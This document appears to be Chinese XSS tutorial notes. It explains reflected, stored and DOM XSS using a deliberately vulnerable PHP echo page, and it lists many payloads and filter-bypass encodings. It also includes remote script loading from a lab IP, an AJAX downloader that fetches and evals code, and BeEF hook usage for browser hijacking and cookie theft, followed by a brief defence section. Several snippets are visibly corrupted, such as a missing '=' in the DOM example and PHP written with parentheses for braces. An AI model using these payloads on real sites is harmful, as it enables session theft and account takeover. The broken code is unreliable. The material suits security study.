XSS
XSS漏洞概述
简介
XSS作为0 WASP T0P10之一,XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。
XSS(跨站脚本攻击)主要基于JavaScript(JS)完成恶意的攻击行为。JS可以非常灵活的操作htmL、css和浏览器,这使得XSS攻击的“想象”空间特别大。
XSS通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段 JS 代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有解释器,可以解析JavaScript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入 XSS 代码,都存在遭受 XSS
的风险,只要没有对用户的输入进行严格过滤,就会被XSS。
XSS漏洞发生在服务器
XSS危害
XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种
- 盗取各种用户账号
- 窃取用户 Cookie 资料,冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
...
XSS漏洞的验证
可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。
验证XSS漏洞存在的 PoC 如下:
<script>alert(/xss/)</script>
--- 常用<script>confirm('xss')</script>
<script>prompt('xss')</script>
测试
index.php:
<html>
<head>
<tit1e>Xss测试</tit1e>
<meta charset='utf-8'>
</head>
<body>
<h1>Xss测试</h1>
<form method="post"action="xss.php">
<textarea name="xsscode" rows="10" cols="50" ></textarea>
<br/>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
xss.php
<meta charset='utf-8'>
<?php
if(isset ($_REQUEST['submit'])){
echo $_REQUEST['xsscode'];
echo "<a href='./index.php'>返回<a>";
}else{
echo "<a href='./index,php'>返回<a>";
}
?>
分类
XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS、D0M型XSS。
反射型XSS
反射型 XSS 是非持久性、参数型的跨站脚本。反射型XSS的 JS 代码在 Web 应用的参数(变量)中。如搜索框的反射型XSS,在搜索框中,提交PoC <script>alert(/xss/)</script>
,点击搜索,即可触发反射型 XSS 。提交的 poc 会出现在 search.php 页面的keywords参数中。
存储型XSS
存储型XSS是持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存的数据中。
存储型XSS通常发生在留言板等地方。在留言板位置留言,将恶意代码写进数据库中。
此时,只完成了第一步,将恶意代码写入数据库。因为 XSS 使用的 JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的 XSS 代码,才能真正触发XSS。
DOM XSS
D0M XSS 比较特殊。OWASP关于 D0M 型号 XSS 的定义是基于 D0M 的 XSS 是一种 XSS 攻击,其中攻击的 payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在浏览器本地修改 D0M 树而执行,并不会传到服务器上,这也就使得 D0M XSS 比较难以检测。
下面的例子,#message=<script>alert(/xss/)</script>
以锚点的方式提交 PoC 。PoC 并不会发送的服务器,但是已经触发了 XSS。当前页面的源代码如下
<html>
<head>
<title>DOM-XSS</title>
<meta charset="utf-8">
</head>
<body>
<script>
var a document.URL;
a unescape (a);
document.write(a.substring (a.indexOf("message=")+8,a.length));
</script>
</body>
</html>
构造
利用 <>
构造 HTML/JS
可以利用 <>
构造 HTML 标签和 <script>
标签。
在测试页面提交参数<h1 style='color:red'>
利用 <>
构造HTML/JS </h1>
提交<script>alert(/xss/)</script>
伪协议
-
也可以使用
javascript:
伪协议的方式构造 XSS<a href="javascript:alert(/xss/)">touch me!</a>
, 然后点击超链接,即可触发
-
也可以使用
img
标签的伪协议,但是这种方法仅在IE6
下测试成功<img src="javascript:alert('xss')">
产生自己的事件
"事件驱动" 是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以可以通过事件触发 JS 函数,触发XSS。
事件种类
-
windows事件----对windows对象触发的事件
-
Form事件----HTML表单内的动作触发事件
-
Keyboard事件----键盘按键
-
Mouse事件----由鼠标或类似用户动作触发的事件
-
Media事件----由多媒体触发的事件
-
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码<img src='#' onmouseover='alert(/xss/)'>
无图片路径,直接触发
-
单行文本框的键盘点击事件,
<input type="text" onkeydown:="alert(/xss/)">
,当点击键盘任意一个按键的时候出发。 -
<input type="text" onkeyup:="alert(/xss/)">
松开键盘触发 -
<input type="button" onclick="alert(/xss/)">
点击按钮触发
利用 CSS 跨站(old)
也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但从学习的角度,需要了解这种类型的XSS。以下代码均在 IE6 下测试。
- 行内样式
<div style="background-image:url(javascript:alert(/xss/))">
- 页内样式
<style>Body{background-image:url(javascript:alert(/xss/))}</style>
- 外部样式
<link rel="stylesheet"type="text/css"href="./xss.css"><div>hello<div>
xss.css文件内容如下
h1{ color:red; } div { /*width:expression(alert(/xss/))*/ background-image:url(javascript:alert(/xss/)) }
expression
<div style="width.expression(alert(/xss/))">
<style>Body{background-image:expression(alert(/xss/));}</style>
import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>AJEST</div>
其他标签以及手法
也可以用其他标签触发XSS
<svg onload="alert(/xss/)">
比较简洁<input onfocus=alert(/xss/)autofocus>
XSS的变形
可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测
大小写转换
可以将 payload 进行大小写转化
<Img sRc='#'Onerror="alert(/xss/)"/>
<a hREf="javascript:alert(/xss/)">click me</a>
引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”(zī zhū bì jiào,形容非常小气,类似于斤斤计较)。
<img src="#"onerror="alert(/xss/)"/>
<img src='#'onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/)/>
/
代替空格
可以利用左斜线 /
代替空格
<Img/sRc='#'/Onerror='alert(/xss/)'/>
回车
可以在一些位置添加 Tab
( 水平制表符)和 回车符
,来绕过关键字检测
<A hREf="j
a v
a s
c r
i p
t :
alert(/xss/)">click me!</a>
对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。对应编码如下
字母 | ASCII码 | 十进制编码 | 十六进制编码 |
---|---|---|---|
a |
97 |
a |
&#×61; |
e |
101 |
e |
&#×65; |
经过简单编码之后的样子。
<A hREf="javascript:alert(/xss/)">click me!</a>
另外,可以将以下字符插入到任意位置
- Tab :
	
- 换行 :


- 回车 :

可以将以下字符插入到头部位置
- SOH :

- STX :

经过编码后的样子。
<A hREf:="javas	c r ipt:alert(/xss/)">
click me!
</a>
拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
双写绕过
<scr<script>ipt>
CSS 中的变形
- 使用全角符号
width:expression(alert(/xss/))
- 注释会被浏览器忽略
width:expr/*~*/ession(alert(/xss/))
- 样式表中的
\
和\0
<style>@import 'javasc\ri\opt:alert("xss")';</style>
Shellcode 的调用
Shellcode就是在利用漏洞所执行的代码。
完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode。
远程调用]S
可以将 JS 代码单独放在一个js文件中,然后通过http协议远程加载该脚本。
<script src="http://172.16.132.138/XSS-TEST/xss.js"></script>
,这是比较常用的方式。xss.js的内容如下。
alert('xss');
windows.location.hash
也可以使用 js 中的 windows.location.hash
方法获取浏览器 URL 地址栏的 XSS 代码。
windows.location.hash
会获取 URL 中#
后面的所有内容,例如 http://domain.com/index,php#JEST
, windows.location.hash
的值就是 #AJEST
。
所以可以构造如下代码
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows,location.hash/)
,直接提交到测试页面xss.php。
XSS Downloader
XSS下载器就是将XSS代码写到网页中,然后通过 AJAX 技术,取得网页中的 XSS 代码。
在使用 XSS Down loader 之前需要一个我们自己的页面,Xss_downloader,php,内容如下
<?php
header('Access-Control-Allow-origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
?>
~~~~BOF|alert(/AJST/)|EOF~~~~~~~~~~~
常见的下载器如下
<script>
function XSS(){
if (window.XMLHttpRequest){
a = new XMLHttpRequest();
} else if (window.ActiveXObiect){
a new Activexobject("Microsoft.XMLHTTP");
}else {return;}
a.open('get','http://172.16.132.138/XSS-TEST/normal/xss_downloader.php',false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexof('BOF ')+4,b.indexOf('|EOF'))));}
XSS();
</script>
AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,需要在服务器端代码中添加如下内容,实现跨域访问
<?php
header('Access-Control-Allow-origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
?>
备选存储技术
可以把 Shellcode 存储在客户端的本地域中,比如 HTTP Cookie、Flash 共享对象、UserData、localStorage 等。以HTTP Cookie为例子。
<meta charset='utf-8'>
<?php
if(setcookie("name","<script>alert (/xss/)</script>"))(
echo "<a href='./xss.php' target='_blank'>Cookie-XSS 验证</a>";
)else(
echo "设置 Cookie 去败";
?>
点击Cookie-XSS验证,产生如下效果。
防御
使用XSS Filter
XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。
- 输入过滤
永远不要相信用户的输入 是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。 - 输入验证
简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E-ma1l地址、IP地址等。 - 数据消毒
过滤和净化掉有害的输入。 - 输出编码
HTML 编码主要是用对应的 HTML 实体代替字符。 - 黑白名单
不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。
黑名单,非允许数据
白名单,允许的数据
防御 DOM-XSS
避免客户端文档重写,重定向或其他敏感操作,很难
工具平台
-
beef
/usr/share/beef-xss
(kali)- XSS 神器
- XSS 平台
config.yaml
> 修改用户名和密码 (beef) > 根据需要配置beef-xss
、/usr/share/beef-xss/beef
启动- Web界面管理控制台 :
http://192.168.56.7:3000/ui/panel
- Shellcode :
http://192.168.56.7:3000/hook.js
- 测试页面 :
http://192.168.56.7/3000/demos/butcher/index.html
-
浏览器劫持
-
Cookie 窃取与欺骗--固定会话攻击
-
利用浏览器漏洞 getshell
- msf
- ms10002 (xp)
- ms12063
- msf
XSS 平台
xss 盲打